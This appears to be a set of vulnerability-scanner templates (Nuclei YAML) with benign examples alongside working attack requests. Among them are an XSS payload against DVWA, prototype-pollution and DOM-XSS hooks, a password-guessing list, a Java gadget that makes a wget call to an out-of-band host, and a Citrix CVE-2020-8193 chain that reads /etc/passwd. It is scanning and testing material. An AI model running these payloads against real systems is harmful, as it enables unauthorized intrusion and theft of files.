    matchers:
      - type: word
        words:
          - "BEGIN OPENSSH PRIVATE KEY"
          - "BEGIN PRIVATE KEY"
          - "BEGIN RSA PRIVATE KEY"
          - "BEGIN DSA PRIVATE KEY"
          - "BEGIN EC PRIVATE KEY"
          - "BEGIN PGP PRIVATE KEY BLOCK"
          - "ssh-rsa"

id: basic-headless-request

info:
  name: Basic Headless Request
  author: pdteam
  severity: info

headless:
  - steps: 
    - action: navigate
      args:
        url: "{{BaseURL}}" 
    - action: waitload

id: prototype-pollution-check

info:
  name: Prototype Pollution Check
  author: pd-team
  severity: medium
  reference: https://github.com/msrkp/PPScan

headless:
  - steps:
      - action: setheader
        args:
          part: response
          key: Content-Security-Policy
          value: "default-src * 'unsafe-inline' 'unsafe-eval' data: blob:;"
      - action: setheader
        args:
          part: response
          key: X-Frame-Options
          value: foo
      - action: setheader
        args:
          part: response
          key: If-None-Match
          value: foo
      # Set the hook to override window.data for xss detection
      - action: script
        args:
          hook: true
          code: |
            // Hooking code adapted from https://github.com/msrkp/PPScan/blob/main/scripts/content_script.js
            (function() {window.alerts = [];

            function logger(found) {
            	window.alerts.push(found);
            }

            function check() {
                loc = location.href;

                if (loc.indexOf("e32a5ec9c99") >= 0 && loc.search("a0def12bce") == -1) {
                    setTimeout(function() {
                        if (Object.prototype.e32a5ec9c99 == "ddcb362f1d60") {
                            logger(location.href);
                        }
                        var url = new URL(location.origin + location.pathname);
                        url.hash = "__proto__[a0def12bce]=ddcb362f1d60&__proto__.a0def12bce=ddcb362f1d60&dummy";
                        location = url.href;
                    }, 5 * 1000);
                } else if (loc.search("a0def12bce") != -1) {
                    setTimeout(function() {
                        if (Object.prototype.a0def12bce == "ddcb362f1d60") {
                            logger(location.href);
                        }
                        window.close();
                    }, 5 * 1000);
                } else {
                    var url = new URL(loc);
                    url.searchParams.append("__proto__[e32a5ec9c99]", "ddcb362f1d60");
                    url.searchParams.append("__proto__.e32a5ec9c99", "ddcb362f1d60");
                    location = url.href;
                }
            }

            window.onload = function() {
                if (Object.prototype.e32a5ec9c99 == "ddcb362f1d60" ||  Object.prototype.a0def12bce == "ddcb362f1d60") {
                    logger(location.href);
                } else {
                    check();
                }
            };

            var timerID = setInterval(function() {
                if (Object.prototype.e32a5ec9c99 == "ddcb362f1d60" || Object.prototype.a0def12bce == "ddcb362f1d60") {
                    logger(location.href);
                    clearInterval(timerID);
                }
            }, 5 * 1000)})();
      - args:
          url: "{{BaseURL}}"
        action: navigate
      - action: waitload
      - action: script
        name: alerts
        args:
          code: "window.alerts"
    matchers:
      - type: word
        part: alerts
        words:
          - "__proto__"
    extractors:
      - type: kval
        part: alerts
        kval:
          - alerts

id: dvwa-xss-verification

info:
  name: DVWA Reflected XSS Verification
  author: pd-team
  severity: info

headless:
  - steps:
      - args:
          url: "{{BaseURL}}"
        action: navigate
      - action: waitload

      # xss 감지를 위해 window.data를 재정의하도록 후크 설정
      - action: script
        args:
          hook: true
          code: "(function() { window.alert = function() { window.data = 'found' } })()"
      - args:
          by: x
          value: admin
          xpath: /html/body/div/div[2]/form/fieldset/input
        action: text
      - args:
          by: x
          value: password
          xpath: /html/body/div/div[2]/form/fieldset/input[2]
        action: text
      - args:
          by: x
          xpath: /html/body/div/div[2]/form/fieldset/p/input
        action: click
      - action: waitload
      - args:
          by: x
          xpath: /html/body/div/div[2]/div/ul[2]/li[11]/a
        action: click
      - action: waitload
      - args:
          by: x
          value: '"><svg/onload=alert(1)>'
          xpath: /html/body/div/div[3]/div/div/form/p/input
        action: text
      - args:
          keys: "\r" # 키보드의 Enter 키를 누릅니다.
        action: keyboard
      - action: waitload
      - action: script
        name: alert
        args:
          code: "window.data"
    matchers:
      - part: alert
        type: word
        words:
          - "found"

id: window-name-domxss

info:
  name: window.name DOM XSS
  author: pd-team
  severity: medium

headless:
  - steps:
      - action: setheader
        args:
          part: response
          key: Content-Security-Policy
          value: "default-src * 'unsafe-inline' 'unsafe-eval' data: blob:;"
      - action: script
        args:
          hook: true
          code: |
            (function() {window.alerts = [];

            function logger(found) {
            	window.alerts.push(found);
            }

            function getStackTrace () {
              var stack;
              try {
                throw new Error('');
              }
              catch (error) {
                stack = error.stack || '';
              }
              stack = stack.split('\n').map(function (line) { return line.trim(); });
              return stack.splice(stack[0] == 'Error' ? 2 : 1);
            }
            window.name = "{{randstr_1}}'\"<>";

            var oldEval = eval;
            var oldDocumentWrite = document.write;
            var setter = Object.getOwnPropertyDescriptor(Element.prototype, 'innerHTML').set;
            Object.defineProperty(Element.prototype, 'innerHTML', {
              set: function innerHTML_Setter(val) {
                if (val.includes("{{randstr_1}}'\"<>")) {
                  logger({sink: 'innerHTML', source: 'window.name', code: val, stack: getStackTrace()});
                }
                return setter.call(this, val)
              }
            });
            eval = function(data) {
              if (data.includes("{{randstr_1}}'\"<>")) {
                logger({sink: 'eval' ,source: 'window.name', code: data, stack: getStackTrace()});
              }
              return oldEval.apply(this, arguments);
            };
            document.write = function(data) {
              if (data.includes("{{randstr_1}}'\"<>")) {
                logger({sink: 'document.write' ,source: 'window.name', code: data, stack: getStackTrace()});
              }
              return oldEval.apply(this, arguments);
            };
            })();
      - args:
          url: "{{BaseURL}}"
        action: navigate
      - action: waitload
      - action: script
        name: alerts
        args:
          code: "window.alerts"
    matchers:
      - type: word
        part: alerts
        words:
          - "sink:"
    extractors:
      - type: kval
        part: alerts
        kval:
          - alerts

id: helper-functions-examples

info:
  name: RAW Template with Helper Functions
  author: pdteam
  severity: info

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        01: {{base64("Hello")}}
        02: {{base64(1234)}}
        03: {{base64_decode("SGVsbG8=")}}
        04: {{base64_py("Hello")}}
        05: {{compare_versions('v1.0.0', '>v0.0.1', '<v1.0.1')}}
        06: {{concat("Hello", "world")}}
        07: {{contains("Hello", "lo")}}
        08: {{date_time("%Y-%M-%D")}}
        09: {{date_time("%Y-%M-%D", unix_time())}}
        10: {{date_time("%H-%m")}}
        11: {{date_time("02-01-2006 15:04")}}
        12: {{date_time("02-01-2006 15:04", unix_time())}}
        13: {{dec_to_hex(11111)}}
        14: {{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}}
        15: {{gzip("Hello")}}
        16: {{gzip_decode(hex_decode("1f8b08000000000000fff248cdc9c907040000ffff8289d1f705000000"))}}
        17: {{hex_decode("6161")}}
        18: {{hex_encode("aa")}}
        19: {{hmac("sha1", "test", "scrt")}} 
        20: {{hmac("sha256", "test", "scrt")}}
        21: {{html_escape("<body>test</body>")}}
        22: {{html_unescape("&lt;body&gt;test&lt;/body&gt;")}}
        23: {{join("_", "hello", "world")}}
        24: {{len("Hello")}}
        25: {{len(5555)}}
        26: {{md5("Hello")}}
        27: {{md5(1234)}}
        28: {{mmh3("Hello")}}
        29: {{print_debug(1+2, "Hello")}}
        30: {{rand_base(5, "abc")}}
        31: {{rand_base(5, "")}}
        32: {{rand_base(5)}}
        33: {{rand_char("abc")}}
        34: {{rand_char("")}}
        35: {{rand_char()}}
        36: {{rand_int(1, 10)}}
        37: {{rand_int(10)}}
        38: {{rand_int()}}
        39: {{rand_ip("192.168.0.0/24")}}
        40: {{rand_ip("2002:c0a8::/24")}}
        41: {{rand_ip("192.168.0.0/24","10.0.100.0/24")}}
        42: {{rand_text_alpha(10, "abc")}}
        43: {{rand_text_alpha(10, "")}}
        44: {{rand_text_alpha(10)}}
        45: {{rand_text_alphanumeric(10, "ab12")}}
        46: {{rand_text_alphanumeric(10)}}
        47: {{rand_text_numeric(10, 123)}}
        48: {{rand_text_numeric(10)}}
        49: {{regex("H([a-z]+)o", "Hello")}}
        50: {{remove_bad_chars("abcd", "bc")}}
        51: {{repeat("a", 5)}}
        52: {{replace("Hello", "He", "Ha")}}
        53: {{replace_regex("He123llo", "(\\d+)", "")}}
        54: {{reverse("abc")}}
        55: {{sha1("Hello")}}
        56: {{sha256("Hello")}}
        57: {{to_lower("HELLO")}}
        58: {{to_upper("hello")}}
        59: {{trim("aaaHelloddd", "ad")}}
        60: {{trim_left("aaaHelloddd", "ad")}}
        61: {{trim_prefix("aaHelloaa", "aa")}}
        62: {{trim_right("aaaHelloddd", "ad")}}
        63: {{trim_space("  Hello  ")}}
        64: {{trim_suffix("aaHelloaa", "aa")}}
        65: {{unix_time(10)}}
        66: {{url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")}}
        67: {{url_encode("https://projectdiscovery.io/test?a=1")}}
        68: {{wait_for(1)}}
        69: {{zlib("Hello")}}
        70: {{zlib_decode(hex_decode("789cf248cdc9c907040000ffff058c01f5"))}}
        71: {{hex_encode(aes_gcm("AES256Key-32Characters1234567890", "exampleplaintext"))}}
        72: {{starts_with("Hello", "He")}}
        73: {{ends_with("Hello", "lo")}}
        74: {{line_starts_with("Hi\nHello", "He")}}
        75: {{line_ends_with("Hello\nHi", "lo")}}

id: basic-example

info:
  name: Test HTTP Template
  author: pdteam
  severity: info

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "This is test matcher text"

id: http-multiple-matchers

info:
  name: Test HTTP Template
  author: pdteam
  severity: info

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        name: php
        words:
          - "X-Powered-By: PHP"
          - "PHPSESSID"
        part: header

      - type: word
        name: node
        words:
          - "Server: NodeJS"
          - "X-Powered-By: nodejs"
        condition: or
        part: header

      - type: word
        name: python
        words:
          - "Python/2."
          - "Python/3."
        part: header

id: matchers-conditions

info:
  name: Test HTTP Template
  author: pdteam
  severity: info

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        words:
          - "X-Powered-By: PHP"
          - "PHPSESSID"
        condition: and
        part: header

      - type: word
        words:
          - "PHP"
        part: body

id: multiple-matchers-conditions

info:
  name: Test HTTP Template
  author: pdteam
  severity: info

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers-condition: and
    matchers:

      - type: word
        words:
          - "X-Powered-By: PHP"
          - "PHPSESSID"
        condition: or
        part: header

      - type: word
        words:
          - PHP
        part: body

id: custom-headers

info:
  name: Test HTTP Template
  author: pdteam
  severity: info

http:
  - method: GET

    # Example of sending some headers to the servers

    headers:

      X-Client-IP: 127.0.0.1
      X-Remote-IP: 127.0.0.1
      X-Remote-Addr: 127.0.0.1
      X-Forwarded-For: 127.0.0.1
      X-Originating-IP: 127.0.0.1

    path:
      - "{{BaseURL}}/server-status"

    matchers:
      - type: word
        words:
          - Apache Server Status
          - Server Version
        condition: and

id: post-request

info:
  name: Test HTTP Template
  author: pdteam
  severity: info

http:
  - method: POST
    path:
      - "{{BaseURL}}/admin"

    body: 'admin=test'

    matchers:
      - type: word
        words:
          - Welcome Admin

id: time-based-matcher

info:
  name: DSL based response time matcher
  author: pdteam
  severity: none

http:
  - raw:
      - |
        GET /slow HTTP/1.1

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'

id: multiple-raw-example
info:
  name: Test RAW Template
  author: pdteam
  severity: info

# 템플릿 페이로드 지원으로 HTTP Intruder fuzzing.

http:

  - raw:
      - |
        POST /?username=§username§&paramb=§password§ HTTP/1.1
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5)
        Host: {{Hostname}}
        another_header: {{base64('§password§')}}
        Accept: */*
        body=test

    payloads:
      username:
        - admin

      password:
        - admin
        - guest
        - password
        - test
        - 12345
        - 123456

    attack: clusterbomb # Available: batteringram,pitchfork,clusterbomb

    matchers:
      - type: word
        words:
          - "Test is test matcher text"

id: multiple-raw-example
info:
  name: Test RAW Template
  author: pdteam
  severity: info

http:

  - raw:
      - |
        POST /?param_a=§param_a§&paramb=§param_b§ HTTP/1.1
        User-Agent: §param_a§
        Host: {{Hostname}}
        another_header: {{base64('§param_b§')}}
        Accept: */*

        admin=test

      - |
        DELETE / HTTP/1.1
        User-Agent: nuclei
        Host: {{Hostname}}

        {{sha256('§param_a§')}} 

      - |
        PUT / HTTP/1.1
        Host: {{Hostname}}

        {{html_escape('§param_a§')}} + {{hex_encode('§param_b§'))}}

    attack: clusterbomb # Available types: batteringram,pitchfork,clusterbomb
    payloads:
      param_a: payloads/prams.txt
      param_b: payloads/paths.txt

    matchers:
      - type: word
        words:
          - "Test is test matcher text"

id: multiple-raw-example
info:
  name: Test RAW Template
  author: pdteam
  severity: info

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}

      - |
        POST /testing HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}

        testing=parameter

    cookie-reuse: true # 쿠키 재사용은 브라우저와 같은 모든 요청 간의 세션을 유지합니다.
    matchers:
      - type: word
        words:
          - "Test is test matcher text"

id: CVE-2020-8193

info:
  name: Citrix unauthenticated LFI
  author: pdteam
  severity: high
  reference: https://github.com/jas502n/CVE-2020-8193

http:
  - raw:
      - |
        POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
        Content-Type: application/xml
        X-NITRO-USER: xpyZxwy6
        X-NITRO-PASS: xWXHUJ56

        <appfwprofile><login></login></appfwprofile>

      - |
        GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.24.0
        Accept: */*
        Connection: close

      - |
        GET /menu/neo HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.24.0
        Accept: */*
        Connection: close

      - |
        GET /menu/stc HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.24.0
        Accept: */*
        Connection: close

      - |
        POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.24.0
        Accept: */*
        Connection: close
        Content-Type: application/xml
        X-NITRO-USER: oY39DXzQ
        X-NITRO-PASS: ZuU9Y9c1
        rand_key: §randkey§

        <appfwprofile><login></login></appfwprofile>

      - |
        POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.24.0
        Accept: */*
        Connection: close
        Content-Type: application/xml
        X-NITRO-USER: oY39DXzQ
        X-NITRO-PASS: ZuU9Y9c1
        rand_key: §randkey§

        <clipermission></clipermission>

    cookie-reuse: true # Using cookie-reuse to maintain session between each request, same as browser.

    extractors:
      - type: regex
        name: randkey # Variable name
        part: body
        internal: true
        regex:
          - "(?m)[0-9]{3,10}\\.[0-9]+"

    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0:"
        part: body

id: race-condition-testing

info:
  name: Race Condition testing
  author: pdteam
  severity: info

http:
  - raw:
      - |
        POST /coupons HTTP/1.1
        Host: {{Hostname}}
        Pragma: no-cache
        Cache-Control: no-cache, no-transform
        User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
        Cookie: user_session=42332423342987567896

        promo_code=20OFF        

    race: true
    race_count: 10

    matchers:
      - type: status
        part: header
        status:
          - 200

id: race-condition-testing

info:
  name: Race condition testing with multiple requests
  author: pdteam
  severity: info

http:
  - raw:  
      - |
        POST / HTTP/1.1
        Pragma: no-cache
        Host: {{Hostname}}
        Cache-Control: no-cache, no-transform
        User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0

        id=1
        
      - |
        POST / HTTP/1.1
        Pragma: no-cache
        Host: {{Hostname}}
        Cache-Control: no-cache, no-transform
        User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0

        id=2

      - |
        POST / HTTP/1.1
        Pragma: no-cache
        Host: {{Hostname}}
        Cache-Control: no-cache, no-transform
        User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0

        id=3

      - |
        POST / HTTP/1.1
        Pragma: no-cache
        Host: {{Hostname}}
        Cache-Control: no-cache, no-transform
        User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0

        id=4

      - |
        POST / HTTP/1.1
        Pragma: no-cache
        Host: {{Hostname}}
        Cache-Control: no-cache, no-transform
        User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0

        id=5

    threads: 5
    race: true

    matchers:
      - type: status
        status:
          - 200